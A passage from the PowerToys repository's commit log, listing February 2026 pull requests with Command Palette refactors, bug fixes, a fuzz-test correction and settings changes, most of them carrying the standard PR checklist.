- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

When no window alive, the settings exe should also be gone
2026-02-25 21:50:42 +08:00
leileizhang
5d11e8e805 [SFI] Fix libFuzzer failing to resolve target class name in Hosts module fuzz tests (#45784)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
In PR
https://github.com/microsoft/PowerToys/pull/40754/changes#diff-458c2dd654182dce7f6ad70fadd40d048a99f9be2cd9506747dde5964e6f396a
the config class name was changed incorrectly, which caused libFuzzer to
fail to resolve the target type HostsEditor.FuzzTests.FuzzTests and
resulted in test failures.

<img width="2074" height="311" alt="image"
src="https://github.com/user-attachments/assets/8a8d4ce8-71e7-45d6-ae7e-da43da6c63ca"
/>


This change updates the class name to the correct value to fix the
issue.

<img width="2098" height="647" alt="image"
src="https://github.com/user-attachments/assets/2715dade-63e1-4cdb-856a-8f199ffcd38a"
/>

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-25 13:54:46 +08:00
Jiří Polášek
83f26d4684 CmdPal: Configure .editorconfig to format MSBuild files (#45739)
## Summary of the Pull Request

This PR configures the Command Palette's .editorconfig to format MSBuild
project and props files, and reformats the files accordingly.

No functional changes.
2026-02-24 14:50:17 -06:00
Jiří Polášek
07b8915e19 CmdPal: Remove dead code from Window Walker and cleanup (#45570)
## Summary of the Pull Request

This PR is a light cleanup on Window Walker built-in extension:

- Removes unused types
- Removes redundant code
- Fixes inconsistent naming conventions
- De-LINQ-ify
- Fixes XML doc
- Updates language constructs to the latest (use of
System.Threading.Lock, Collection expressions)
- Updates types and members visibility and makes static classes static

⚠️ Trickiest part are 44ac1c1 and 26c946c that removes redundant null
checks.
2026-02-24 06:29:58 -06:00
Mike Griese
4f5837d4e9 CmdPal: Use a factory for building the context menu VMs (#45572)
_targets #45566_

doesn't actually do anything, just moves around the instantiation of
command context item VMs.

This will let use add pin/unpin commands later

related to https://github.com/microsoft/PowerToys/issues/45191
related to https://github.com/microsoft/PowerToys/issues/45201
2026-02-24 06:26:33 -06:00
Niels Laute
e8ccb7099e Upgrading to WASDK 1.8.5 and removing TitleBar workarounds (#45532)
- Upgrade to WASDK 1.8.5 that includes a fix for the `TitleBar` control.
- Remove the workaround from windows that use this control, as we can
set the `TitleBar` directly now
2026-02-24 06:01:44 -06:00
Gordon Lam
6fe4361a20 feat(settings-ui): crash fix - add back the missing default language option to resources (#45766)
Add back the default language option to the resources for better
localization support. This change is fixing a regression:
 Two bugs here:
1. The original commit by Stefan had a case mismatch (Default_language
vs Default_Language) — latent bug
2. Niels's PR used Copilot CLI to find dead strings, which incorrectly
removed a live resource due to the case
  mismatch

---------

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-24 18:12:32 +08:00
Gordon Lam
91634922fc fix(settings-ui): Get rid of build warning - change binding mode to OneTime for update controls (#45765)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Change the binding mode to `OneTime` for various update controls in the
settings UI to improve performance and reduce unnecessary updates.

Without the change, beside the functionality/performance issue, there
are list of build warning like:

src\settings-ui\Settings.UI\SettingsXAML\Controls\Dashboard\CheckUpdateControl.xaml(15,13):
XamlCompiler warning **WMC1506**: OneWay bindings require at least one
of their steps to support raising notifications when their value changes

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
Updated the binding mode for controls in `CheckUpdateControl.xaml` and
`ShortcutConflictWindow.xaml` to `OneTime` to enhance efficiency.

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Manually tested the settings UI to ensure that the controls behave as
expected without unnecessary updates.
```
2026-02-24 07:16:03 +01:00
Dave Rayment
8d0f8e5b49 [ZoomIt] Add datetime suffix to screenshots (#43172)
This pull request introduces an improvement to how screenshot filenames
are generated in `ZoomIt`. The main change is to ensure that each
screenshot is saved with a unique, timestamped filename, which helps
prevent accidental overwrites and keeps files sorted chronologically.

**Enhancement to screenshot filename generation:**

* Added a new implementation for `GetUniqueScreenshotFilename()` in
`Zoomit.cpp` to generate screenshot filenames using the current date and
time, following the format `"ZoomIt YYYY-MM-DD HHMMSS.png"`. This
reduces the risk of overwriting existing files and improves file
organization.<!-- Enter a brief description/summary of your PR here.
What does it fix/what does it change/how was it tested (even manually,
if necessary)? -->
## Summary of the Pull Request
This PR:

Includes an update to create unique screenshot filenames, saving the
user from having to manually type a new filename each time they save a
new screenshot in the same location.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #43158
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

## Unique filename issue

The PR fixes the user's complaint about the screenshots always being
called "zoomit" by adding a `GetUniqueScreenshotFilename()` method which
creates a unique filename based on the current date and time, e.g.
`ZoomIt 2025-11-01 004723.png`. This is consistent with other tools like
the Windows Snipping Tool and provides files which sort correctly when
ordered by name, which is not the case for files with simple numeric
suffixes.

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

Tested on a local build.
2026-02-24 12:53:22 +08:00
Jiří Polášek
15cad8ca18 CmdPal: Single-row list items (#45763)
## Summary of the Pull Request

This PR changes default style of list items to a single-row. As a flyby
it also ensures that all item containers have a constant height.

<img width="848" height="509" alt="image"
src="https://github.com/user-attachments/assets/832db0dd-d270-4745-b83a-c8ad2ec12c02"
/>

<img width="828" height="515" alt="image"
src="https://github.com/user-attachments/assets/6596a6ae-9056-4177-bafa-47df7d39ad3e"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Related to: #44407
- [x] Closes: #45091
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-23 20:46:09 -06:00
Niels Laute
65254cec76 Adding CmdPal Extensions doc links (#45632)
See title
2026-02-23 06:24:00 -06:00
Michael Jolley
138c66c328 CmdPal: Removing Core projects (#45693)
Functionally, no differences.

- Removed Core projects.
- Core.Common => Microsoft.CmdPal.Common
- Core.ViewModels => Microsoft.CmdPal.UI.ViewModels

---------

Co-authored-by: Jiří Polášek <me@jiripolasek.com>
2026-02-23 06:05:09 -06:00
Michael Jolley
196b9305c3 CmdPal: Add 'Keep previous query' setting to Command Palette (#45742)
## Summary

Closes #39929

Adds a new "Keep previous query" toggle to Command Palette settings that
preserves the last search text when the palette is reopened after
running a command.

## Changes

- **`SettingsModel.cs`** — Added `KeepPreviousQuery` bool property
(defaults to `false`)
- **`SettingsViewModel.cs`** — Added property with auto-save on change
- **`GeneralPage.xaml`** — Added toggle switch in the Activation
section, below "Highlight search on activate"
- **`Resources.resw`** — Added localized header ("Keep previous query")
and description ("Preserves the last search text when Command Palette is
reopened")
- **`SearchBar.xaml.cs`** — `Receive(GoHomeMessage)` now checks the
setting and skips `ClearSearch()` when enabled

## Behavior

- **Off (default):** No change from current behavior — search text is
cleared on dismiss.
- **On:** When a command is run and the palette dismisses, the search
text is preserved. On reopen, the previous query is still in the search
box. Combined with the existing "Highlight search on activate" setting,
the text will be pre-selected so the user can immediately retype or
press Enter to re-run.

## Validation

- Setting off: search clears on dismiss (existing behavior unchanged)
- Setting on: search text persists across dismiss/reopen
- Setting serializes/deserializes correctly via existing JSON settings
infrastructure
- No impact on page navigation, escape key behavior, or auto-go-home
timer

---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-02-22 21:31:50 -06:00
Michael Jolley
009ee75de0 CmdPal: Fix RDP extension rejecting host:port connections (#45740)
## Summary

Fixes #45100

Uri.CheckHostName does not accept host:port strings (e.g.
localhost:3389), returning UriHostNameType.Unknown. This causes the RDP
extension to show an invalid hostname error when connecting to a local
forwarded port.

## Changes

- OpenRemoteDesktopCommand.cs - Strip port suffix before
Uri.CheckHostName validation. The full host:port is still passed to
mstsc /v:.
- FallbackRemoteDesktopItem.cs - Same port-aware validation so the
fallback correctly recognizes host:port queries and displays them in the
title.
- FallbackRemoteDesktopItemTests.cs - Added tests for localhost:3389 and
192.168.1.100:3390 inputs.

## Validation

Port detection uses LastIndexOf(':') + ushort.TryParse to safely
identify a trailing port number without affecting IPv6 addresses or
plain hostnames.

---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-02-22 21:14:19 -06:00
Jiří Polášek
368490ef79 CmdPal: Include Microsoft.CmdPal.Ext.PerformanceMonitor in SLNF (#45738)
## Summary of the Pull Request

This PR updates Command Palette's solution filter to include recently
added Microsoft.CmdPal.Ext.PerformanceMonitor project.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-22 19:13:20 -06:00
Michael Jolley
fafb582ae2 Fix CmdPal apps extension ignoring the fallback results limit setting (#45716)
## Summary

MainListPage hardcoded _appResultLimit = 10 instead of reading from
AllAppsCommandProvider.TopLevelResultLimit, which correctly parses the
user's SearchResultLimit setting. This meant changing the results limit
in settings had no effect on the apps extension fallback results.

##  Changes

- `MainListPage.cs` — Replaced the hardcoded _appResultLimit = 10 field
with a computed property AppResultLimit that delegates to
AllAppsCommandProvider.TopLevelResultLimit.
- `MainListPageResultFactoryTests.cs` — Added three regression tests:
- `Merge_AppLimitOfOne_ReturnsOnlyTopApp` — verifies limit of 1 returns
only the top app
- `Merge_AppLimitOfZero_ReturnsNoApps` — verifies limit of 0 returns no
apps
- `Merge_AppLimitOfOne_WithOtherResults_AppsAreLimited` — verifies apps
are limited even when mixed with other result types

## Validation

- [X]  Existing tests pass
- [X] New regression tests cover edge cases for the appResultLimit
parameter

## Linked Issues

- Fixes #45654

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-02-21 20:47:27 -06:00
Copilot
ed76886d98 Settings: Fix SCOOBE showing unknown symbol instead of bullet (#45696)
The bullet separator between the release date and "View on GitHub" in
the SCOOBE release notes page was rendering as an unknown symbol (◆?)
instead of `•`. The character stored in the source file was `\x95`
(Windows-1252 bullet), which is invalid in UTF-8 and maps to U+0095 (a
control character).

## Changes

- `ScoobeReleaseNotesPage.xaml.cs`: Replace `\x95` (Windows-1252) with
`•` (U+2022, UTF-8: `\xE2\x80\xA2`)

```diff
- $"{release.PublishedDate.ToString(...)} \x95 [View on GitHub]({releaseUrl})"
+ $"{release.PublishedDate.ToString(...)} • [View on GitHub]({releaseUrl})"
```

## PR Checklist

- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

## Detailed Description of the Pull Request / Additional comments

Single-byte fix: the bullet character in
`ScoobeReleaseNotesPage.xaml.cs` was a Windows-1252 `\x95` byte embedded
in a UTF-8 source file. UTF-8 treats `0x95` as U+0095 (MESSAGE WAITING,
a C1 control), which has no glyph and renders as the replacement/unknown
symbol. Replaced with the correct Unicode bullet `•` (U+2022).

## Validation Steps Performed

- Confirmed `\x95` byte present in original file via hex inspection
- Verified replacement byte sequence is `\xE2\x80\xA2` (valid UTF-8 for
U+2022)
- No other occurrences of `\x95` in the file

<!-- START COPILOT ORIGINAL PROMPT -->



<details>

<summary>Original prompt</summary>

> 
> ----
> 
> *This section details on the original issue you should resolve*
> 
> <issue_title>Settings: SCOOBE shows an unknown symbol instead of a
bullet</issue_title>
> <issue_description>### Microsoft PowerToys version
> 
> main
> 
> ### Installation method
> 
> Dev build in Visual Studio
> 
> ### Area(s) with issue?
> 
> Settings
> 
> ### Steps to reproduce
> 
> Main (0.98):
> 
> <img width="513" height="299" alt="Image"
src="https://github.com/user-attachments/assets/fe8eeb94-82cf-40d5-933f-4556616692a3"
/>
> 
> 0.97:
> 
> <img width="231" height="100" alt="Image"
src="https://github.com/user-attachments/assets/96b29ea7-87d8-4044-81a5-19e500224098"
/>
> 
> ### ✔️ Expected Behavior
> 
> _No response_
> 
> ###  Actual Behavior
> 
> _No response_
> 
> ### Additional Information
> 
> _No response_
> 
> ### Other Software
> 
> _No response_</issue_description>
> 
> ## Comments on the Issue (you are @copilot in this section)
> 
> <comments>
> </comments>
> 


</details>



<!-- START COPILOT CODING AGENT SUFFIX -->

- Fixes microsoft/PowerToys#45695

<!-- START COPILOT CODING AGENT TIPS -->
---

 Let Copilot coding agent [set things up for
you](https://github.com/microsoft/PowerToys/issues/new?title=+Set+up+Copilot+instructions&body=Configure%20instructions%20for%20this%20repository%20as%20documented%20in%20%5BBest%20practices%20for%20Copilot%20coding%20agent%20in%20your%20repository%5D%28https://gh.io/copilot-coding-agent-tips%29%2E%0A%0A%3COnboard%20this%20repo%3E&assignees=copilot)
— coding agent works faster and does higher quality work when set up for
your repo.

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
2026-02-20 22:24:15 +00:00
Niels Laute
b64afea9f7 Fix for AP settings page crashing (#45699)
Don't put anything other than `SettingsCard` in a `SettingsExpander`..
because it will blow up
2026-02-20 17:53:49 +01:00
Dave Rayment
5e30caa674 [WindowWalker] Fix race condition in UWP app enumeration (#45601)
## Summary of the Pull Request
This fixes a race condition in the WindowWalker component in both
**Command Palette** and **Run**. The lack of a lock around a cache
update could potentially lead to inaccurate information about UWP
applications being returned.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45600
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
More details about the root cause can be found in the original issue:
#45600.

In summary, a `Task` is created and started as part of the
`CreateWindowProcessInstance()` code. The creation is inside a lock, but
there is no lock around access to the `_handlesToProcessCache` cache
within the Task itself, which will run on a different thread.

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

- Ensured unit tests still pass (NB: I cannot currently run CmdPal UI
tests for some reason)
- Manually ran the applications, testing the Window Walker component in
both
2026-02-20 09:49:42 -06:00
Mike Griese
0f87b61dad CmdPal: Load pinned command items from anywhere (#45566)
This doesn't actually have a UX to expose this yet - we need to stack a
couple of PRs up to get to that.

But this adds plumbing such that we can now stash away a command ID, and
retrieve it later as a top-level command. Kinda like pinning for apps,
but for _anything_.

It works off of a new command provider interface `ICommandProvider4`,
which lets us look up Command**Item**s by ID. If we see a command ID
stored in that command provider's settings, we will try to look it up,
and then load it from the command provider.

e.g.

```json
    "com.microsoft.cmdpal.builtin.system": {
      "IsEnabled": true,
      "FallbackCommands": {
        "com.microsoft.cmdpal.builtin.system.fallback": {
          "IsEnabled": true,
          "IncludeInGlobalResults": true
        }
      },
      "PinnedCommandIds": [
        "com.microsoft.cmdpal.builtin.system.lock",
        "com.microsoft.cmdpal.builtin.system.restart_shell"
      ]
    },
```
will get us
<img width="840" height="197" alt="image"
src="https://github.com/user-attachments/assets/9ed19003-8361-4318-8dc9-055414456a51"
/>

Then it's just a matter of plumbing the command provider ID through the
layers, so that the command item knows who it is from. We'll need that
later for actually wiring this to the command's context menu.

related to #45191 
related to #45201
2026-02-19 16:20:05 -06:00
Jiří Polášek
39bfa86335 CmdPal: Fixes and improve main window positioning (#45585)
## Summary of the Pull Request

This PR improves main window positioning:

- Fixes cases where an invalid window size or position was saved.  
- `UpdateWindowPositionInMemory` failed to capture correct values when
the window was minimized or maximized (for example, a minimized window
reports coordinates like `(-32000, -32000)`).
- Improves repositioning logic to use relative anchors (corners and
center). When switching displays, the window should reappear in the
expected position. This also reduces cases that trigger the failsafe
recentering.
- Fixes the dragging rectangle size after switching DPIs - the rectangle
was not adapting, so it when switching from 100 % to 200 % it covered
only left half of the window and had teeny-tiny height.
- Suppresses system DPI handling during summon to prevent double
scaling.
- Makes `WindowPosition` class immutable.
- Adds light-weight failsafe preventing overwriting position with
invalid data.
- Hotfixes a min/max state conflict with the WinUIEx window manager.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45576
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-19 12:43:32 -06:00
Jiří Polášek
dcf4c4d16d CmdPal: Calm down sanitizer and adjust unit tests (#45613)
## Summary of the Pull Request

This PR chills down the report sanitizer, because it's overly active.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45612
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-19 12:39:18 -06:00
Jiří Polášek
de25059de0 CmdPal: Fix starting new web URI for default browser that doesn't support exe arguments (#45614)
## Summary of the Pull Request

This PR changes the way the Web Search built-in extension handles full
URIs: it bypasses default browser discovery and asks the shell to open
the URI directly. The original execution path remains as a fallback and
for simple queries (when a custom search engine is not set).

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45610
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-19 12:33:28 -06:00
Jiří Polášek
3548d5c1a3 CmdPal: Add missing resources related to ShortcutControl (#45589)
## Summary of the Pull Request

This PR fixes crash when editing keyboard shortcut (missing string
resource) and adds another string resource to display a text for
un-assigned hotkey.

<img width="937" height="145" alt="image"
src="https://github.com/user-attachments/assets/1f423c3b-6f4f-4dd2-a3ba-e777b6e665ba"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45388
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-14 15:30:51 +01:00
Jeremy Sinclair
93e80265b8 [Build][Settings] Add CoreTargetFramework Property (#41366)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Adds CoreTargetFramework MSBuild property as a way to use the
TargetFramework property minus the OS and OS Version.


<!-- Please review the items on the PR checklist before submitting-->
